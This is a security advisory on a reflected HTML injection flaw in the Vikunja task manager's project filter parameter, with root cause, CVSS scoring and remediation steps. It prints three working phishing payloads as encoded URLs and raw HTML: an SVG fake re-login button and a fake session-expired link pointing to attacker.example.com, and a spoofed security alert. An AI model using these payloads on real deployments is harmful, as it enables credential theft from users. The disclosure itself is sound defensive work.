Vikunja is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the filter URL parameter is rendered into the DOM without output encoding when the user clicks "Filter." While <script> and <iframe> are blocked, <svg>, <a>, and formatting tags (<h1>, <b>, <u>) render without restriction — enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.
Attack flow: Attacker shares a crafted project filter link (routine Vikunja workflow) → victim opens it → victim clicks "Filter" (standard UI action) → phishing content renders inside trusted Vikunja interface.
| Field | Detail |
|---|---|
| Application | Vikunja v1.1.0 |
| Module | Projects |
| Endpoint | /projects/-1/-1?filter=PAYLOAD&page=1 |
| Parameter | filter (GET) |
| Trigger | Click "Filter" button |
| Stack | Go backend, Vue.js + TypeScript frontend |
| Blocked | <script>, <iframe> |
| Allowed | <svg>, <a>, <rect>, <text>, <h1>, <b>, <u> |
Renders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.
http://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E&page=1
Raw payload:
<svg width="400" height="60"><a href="https://attacker.example.com/login"><rect width="400" height="60" rx="4" fill="#d32f2f"></rect><text x="200" y="37" text-anchor="middle" fill="white" font-size="16">Session Expired - Click to Re-authenticate</text></a></svg>
Prominent clickable link styled as urgent system message.
http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E&page=1
Raw payload:
<h1><a href="https://attacker.example.com/login">⚠ Your session has expired. Click here to sign in again.</a></h1>
Fake security warning directing victim to attacker-controlled contact.
http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E&page=1
Raw payload:
<h1><u><b>⚠ SECURITY ALERT</b></u></h1><b>Unauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.</b>
The filter parameter is inserted into the DOM as raw HTML — likely via Vue.js v-html or innerHTML. A partial denylist strips <script> and <iframe> but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.
| Impact | Description | |---|---| | SVG Phishing Buttons | Pixel-perfect fake buttons redirect to credential harvesting pages | | External Redirect | Anchor tags point to attacker domains from within trusted origin | | Content Spoofing | Fake alerts manipulate users into contacting attacker channels | | Self-Hosted Risk | Compromised credentials may grant access to internal infrastructure | | API Access | Same credentials grant full REST API access for data exfiltration | | No Logging | GET-based reflected injection leaves no distinguishable server logs |
Not Self-XSS: Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.
CWE-79 (Primary) — Improper Neutralization of Input During Web Page Generation
CWE-80 (Secondary) — Improper Neutralization of Script-Related HTML Tags
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N — 6.1 (Medium)
Score understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.
| Priority | Action |
|---|---|
| P0 | Replace v-html with v-text or {{ }} interpolation (auto-escapes HTML) |
| P0 | HTML entity encode the filter value at rendering point |
| P1 | Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values |
| P1 | Deploy CSP with form-action 'self' |
| P2 | Server-side input validation — reject filter values not matching expected syntax |
The filter parameter in Vikunja's Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions — opening a shared link and clicking "Filter." The fix is a single-line change: replacing v-html with v-text in the Vue.js rendering logic. Given Vikunja's adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.
<img width="1920" height="1020" alt="image" src="https://github.com/user-attachments/assets/007f9b1a-fd20-4fe8-84e5-1bf886a5a7a9" />
A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.
{
"nvd_published_at": "2026-02-25T22:16:24Z",
"github_reviewed_at": "2026-02-25T22:01:25Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-80"
],
"severity": "MODERATE"
}